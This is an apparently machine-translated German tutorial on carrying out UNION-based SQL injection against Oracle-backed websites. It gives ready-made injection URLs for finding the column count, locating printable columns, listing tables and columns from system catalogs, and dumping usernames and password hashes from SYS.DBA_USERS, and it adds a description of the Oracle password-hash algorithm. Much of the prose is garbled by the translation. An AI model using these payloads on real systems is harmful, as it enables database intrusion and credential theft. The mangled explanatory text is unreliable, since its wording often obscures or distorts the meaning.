Durchführung von SQL-Injection in Oracle



  • [Einleitung]
  • [Eigenschaften Oracle]
  • [Spalte Auswahl]
  • [Definition printabelnyh Spalte]
  • [Get Information]
  • [Tabellen und Spalten]
  • [Passwörter]
  • [Get Information]



  • [Einleitung]


    Vor kurzem wurde die Studie von verschiedenen Web-Projekten auf die Verwundbarkeit auf SQL-Injection in Oracle stolpern. Obwohl derzeit selten die Nutzung dieser Datenbank in Web-Programmierung zu finden, aber immer noch passiert es. Alle Studie endet mit einer Erkennung von Fehlern, was als nächstes war unklar, zu tun. Bei der Suche nach einem Artikel, eine gute Beschreibung der praktischen Aspekte der Ausnutzung dieser Sicherheitsanfälligkeit bei Oracle, wie Artikel und Bargeld spyder, beschreibt in MSSQL Einspritzung und der PostgreSQL, konnte nicht gefunden werden.
    Als ein Ergebnis der Suche wurde nur k00p3r Reihe von Artikeln und eine voll kopipastnutyh aus Drittquellen auftreten und die einfache Übertragung, Lesen gefunden, die nicht eine klare Vorstellung von Holding jammern bei Oracle gegeben hat, seit Artikel in der Tat ein großes Volumen, sind in theoretischer Natur, und vor allem Wasser enthalten.
    Am Ende hatte das Institut die Fähigkeiten zu erinnern, mit Oracle zu arbeiten und ein paar verstreuten Informationen über das Internet neu zu lesen. In diesem Artikel möchte ich mit Ihnen, wie die Tatsache zu teilen, dass ich in der Lage war, für die SQL-Injection in Oracle zu graben, und versuchen Sie es zu einem Ganzen zu verbinden.
    Nun, versuchen, die Lücke zu füllen, und ergänzen eine Reihe von Artikeln und Bargeld spyder.

    [Eigenschaften Oracle]


    Zuerst stellen wir einige Eigenschaften, die während der Injektion in Oracle berücksichtigt werden müssen. erwähnen möchte nur, dass der Artikel mit der Durchführung der Injektion in einer SELECT-Anweisung behandelt. Während Injektionen in INSERT Durchführung, UPDATE und DELETE, ist es auch möglich.
    Ebenfalls wichtig auch die Tatsache, dass die Artikel befasst sich mit der Injektion ist in SQL Oracle-Abfragen, aber nicht in PL / SQL Oracle-Prozeduren. in PL / SQL-Prozeduren wesentliche Unterschied zwischen den Injektionen ist die Fähigkeit, Abfrage-Separator zu verwenden - ein Semikolon ";". Aber über diese IMHO brauchen einen separaten Artikel mit der Beschreibung der Auswirkungen zu schreiben. Darüber hinaus glaubt der Autor, dass Web-Anwendungen sind am häufigsten Injektion ist in SQL-Abfragen (zumindest bin ich auf nur solche).
    Bei Oracle sowie in MySQL und PostgreSQL, wird die Injektion durch die Verwendung des UNION-Operator durchgeführt, dh mit der Vorbereitung der Vereinigung von zwei Abfragen (- Unterabfrage Begriff im folgenden zum leichteren Verständnis verwendet). Aber darüber hinaus die Anzahl der Spalten in der Hauptabfrage übereinstimmen und die Unterabfrage muss berücksichtigt werden, dass Oracle nicht automatisch in einer Unterabfrage Typen werfen. Daher ist die Auswahl der Spalten erforderlich null zu ersetzen, in welchem ​​Differenz, wie MySQL.
    Es ist auch sehr wichtig ist, dass alle SELECT-Abfragen von einigen der Tabelle vorgenommen werden sollte, das heißt Abfragesyntax muss immer das Wort FROM und den Tabellennamen. Für einfache arithmetische oder andere Operationen, die in Oracle nicht die realen Tabelle erfordern es ist ein Pseudo-Tabelle SYS.DUAL.
    Ein wichtiges Merkmal ist das Fehlen einer LIMIT-Klausel.
    "-" (Zwei Striche) und "/ *" (Schrägstrich und Sternchen) in SQL Oracle Um eine Abfrage mit Kommentarzeichen gestutzt. Der erste Typ, kommentiert -odnostrochny. Der zweite Typ - multi.
    Keine Möglichkeit in SQL Oracle mehrere Anforderungen der Verwendung des Separators ";", im Gegensatz zu den Verfahren, in PL / SQL.
    Wenn ein Fehler erkannt wird, können Sie auf einzigartige Weise die Oracle ORA durch das Vorhandensein des Wortes im Text einer Fehlermeldung zu identifizieren, wie beispielsweise:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Es ist nicht immer im Text des Fehlerwort Oracle, zum Beispiel,

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Spalte Auswahl]


    Angenommen, es ist ein Fehler in der Parameter-ID:

    www.site.com/view.php?id=1'
    Bestimmung der Anzahl der Spalten in der Hauptabfrage ist die gleiche wie in MySQL. Da der UNION-Operator die gleiche Anzahl von Spalten in der Hauptabfrage erfordert, und die Unterabfrage müssen wir die Anzahl der Spalten zu bestimmen. Wenn Sie die falschen Spalten in der Unterabfrage Ausgang Standardfehlermeldung an:

    ORA-XXXXX: query block has incorrect number of result columns
    Für die Auswahl der Säule gibt es 2 Möglichkeiten bekannt und auch in dem Artikel spyder beschrieben. Aber ich werde sie wieder bringen, so dass der Leser nicht unter läuft:

    1. Einfache Suche.
    Konstruieren Sie die folgende Abfrage

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Wenn der Fehler auftritt, eine Erhöhung der Anzahl von Spalten auf einer
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    und so lange, wie der Fehler bestehen bleibt.

    2. Mit der ORDER BY - Klausel
    Das zweite Verfahren ist viel schneller und angenehmer, wenn die Anzahl der Spalten groß genug ist. Konstruieren Sie die folgende Abfrage

    www.site.com/view.php?id=-1+order+by+1--
    wenn kein Fehler vorhanden ist, bedeutet dies eine oder mehrere Spalten 1

    www.site.com/view.php?id=-1+order+by+99999--
    Mit einem solchen Antrag sollte eine Fehlermeldung erhalten, dass die Spalte bedeutet, weniger als 99999. Ferner wird in der gleichen Weise verengen die Grenzen des gewählten Intervalls, links und rechts, und schließlich die tatsächliche Anzahl der Spalten in der Hauptabfrage bestimmen.

    [Definition printabelnyh Spalte]


    Zum Beispiel haben wir die genaue Anzahl der Spalten in der Hauptabfrage ermittelt, lassen Sie sie 4.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Jetzt müssen wir die Spalten zu identifizieren, die auf der Seite erscheinen. Normalerweise in den Ausgabespalten sind mit Datentypen int, char und Daten beteiligt. Es wird genug printabilnyh Spalten mit Typen int, char, und sie werden versuchen.
    Wie bereits erwähnt, hat Oracle nicht automatisch in einer Unterabfrage Typen werfen. Deshalb, wenn Sie in eine Spalte einzufügen versuchen oder den Wert vom falschen Typ, erhalten wir die folgende Fehlertypenkonflikt

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Dann beginnen wir Anfragen zu machen, abwechselnd jede Spalte jede Zahl zu ersetzen

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    So werden wir printabelnye Spalten mit dem Typ int identifizieren. In diesem Fall, wenn wir einen Typenkonfliktfehler zu erhalten, können wir die Typkonvertierungsfunktionen to_char (), to_date () verwenden und printabelnye Spalten Typen char und Daten zu identifizieren.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Um die Funktion to_char () Syntax bringen:
    to_char (Wert, [format_mask], [NLS_LANGUAGE])

    [Get Information]


    Nachdem wir die Anzahl der Spalten sind und welche printabelny gelernt haben, können wir sicher gehen die notwendigen Informationen aus der Datenbank zu erhalten. Nun, wenn wir Kenntnis von bestimmten Tabellen in der Datenbank, und die Spalten in ihnen, während Informationen, die in den Keller zu empfangen. Zum Beispiel, wenn es eine Tabelle USERS mit Spalten ID, LOGIN und das Kennwort ein, die Anforderung für diese Daten wie folgt sein würde,

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Genau wie in MySQL, für eine einfache Anzeige und verschiedene Probleme mit Kodierungen überwinden können die Funktionen concat () verwenden, to_char ().
    Um die Filterung Anführungszeichen oder andere wesentliche Zeichen zu überwinden, gibt es eine Funktion chr ().

    [Tabellen und Spalten]


    Wenn der Benutzer Tabellen uns unbekannt sind, dann können wir eine Vielzahl von Informationen aus bekannten Oracle-Systemtabellen erhalten.
    Überprüfen Sie den Benutzernamen, unter dem die Schnittstelle, und daher können Sie die Benutzerfunktion oder sys.login_user anrufen

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Holen Sie sich eine Liste der Sitzungen kann wie folgt sein: select * from V $ Session

    Von großem Interesse sind die Tabelle und SYS.USER_TABLES SYS.USER_TAB_COLUMNS, die dem Benutzer zur Verfügung alle Tabellen und Spalten enthalten. Wir nehmen die Tabellen- und Spaltennamen aus:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Auch meiner Meinung nach, zusätzlich zu SYS.USER_TABLES Tabelle table_name, von Interesse sind die folgenden Spalten: tablespace_name, num_rows, freelist_groups.
    Leider gezogen Anfragen nach oben wird uns eine bringen - nur die erste Aufnahme der gesamten Tabelle. Es ist ein unwiderstehliches Verlangen Vorteil des Betreibers LIMIT zu nehmen, wie in MySQL oder PostgreSQL. Viel zu jeder Enttäuschung wird dieser Operator nicht an Oracle unterstützt, und darüber hinaus hat keine anständige Äquivalent in Form eines anderen Betreibers.
    "Alles ist verloren !!!" - könnte man sagen.
    "NEIN !!!" - Ich werde dir antworten.
    Suffer schlecht google, fand ich endlich die Möglichkeit, eine komplexe Abfrage zu machen irgendwie vage semantische LIMIT Operator Last zu realisieren. Leider konnten wir nicht ihre Fähigkeit, in vollem Umfang wiederherzustellen.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Somit kann durch unterschiedliche Anzahl der Datensätze in der Probe gehen, können wir alle die Namen der Tabellen zu einem Zeitpunkt, zu sehen. Die gleiche Speicherstruktur, können wir verwenden, wenn SYS.USER_TAB_COLUMNS Tabelle sehen, nach Erhalt aller Spaltennamen für den Benutzer verfügbar.
    Wie in Oracle es ein Konzept des Objekts Präfix ist (die Tabelle ist ein Objekt), die im Titel oder Namen der Tabelle vorhanden ist:
    ALL_ - alle für den Benutzer verfügbar (der Besitzer kann nicht sein)
    USER_ - Objekte, deren Besitzer ist der Benutzer.
    Deshalb können wir Ihre Aufgabe zu vereinfachen und die Namen werden nur die Tabellen erhalten, zu denen wir Zugang haben

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Das Interesse können auch die Informationen der folgenden Standardtabellen einreichen: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Passwörter]


    Wenn wir Glück und die Benutzer sind, unter denen wir mit der Datenbank arbeiten, hat das Recht, sysdba, dann können wir die Hashes aller Datenbankbenutzer erhalten.
    Der Hauptspeicher Passwort-Hash (Hash) - Tabelle Wörterbuch Führung SYS.USER $. Oberhalb dieser Tabelle wird als Basis-Derivat, SYS.DBA_USERS konstruiert. Wenn das Benutzerprofil PASSWORD_REUSE_TIME aktiviert ist, wird Passwort-Hash auch in SYS.USER_HISTORY $ gespeichert. Holen Sie sich die Hashes und Benutzernamen können so sein

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Der Vollständigkeit eines Algorithmus dargebotenen Informationen auch die Passwort-Hash für die Berechnung, nur für den Fall, dass jemand in praktisch kommen könnte:
    1. Für den Benutzernamen wird auf der rechten Seite Text Passwort angebracht.
    2. In der resultierenden Linie der Buchstaben erhöht das Register.
    3. Die Zeichen der Zeichenfolge übertragen auf ein Zwei-Byte-Format, um die linke Null-Wert 0x00 ergänzen (die ASCII-Zeichen), und die rechte Linie von Null-Bytes auf einer Gesamtlänge von 80 angefügt.
    4. Die resultierende Zeichenfolge wird durch DES-Algorithmus in Cipher Block Chaining Mode (CBC) Schlüssel 0x0123456789ABCDEF verschlüsselt.
    5. Aus dem Ergebnis des letzten Blocks der Parity-Bits werden entfernt und der resultierende String (56 Bit) für die neue Verschlüsselungs Source-Leitung in der gleichen Art und Weise verwendet.
    6. Der letzte Block des Ergebnisses wird in Hexadezimal-Arithmetik Zeichen übersetzt und erklärt das Endergebnis - die Faltung.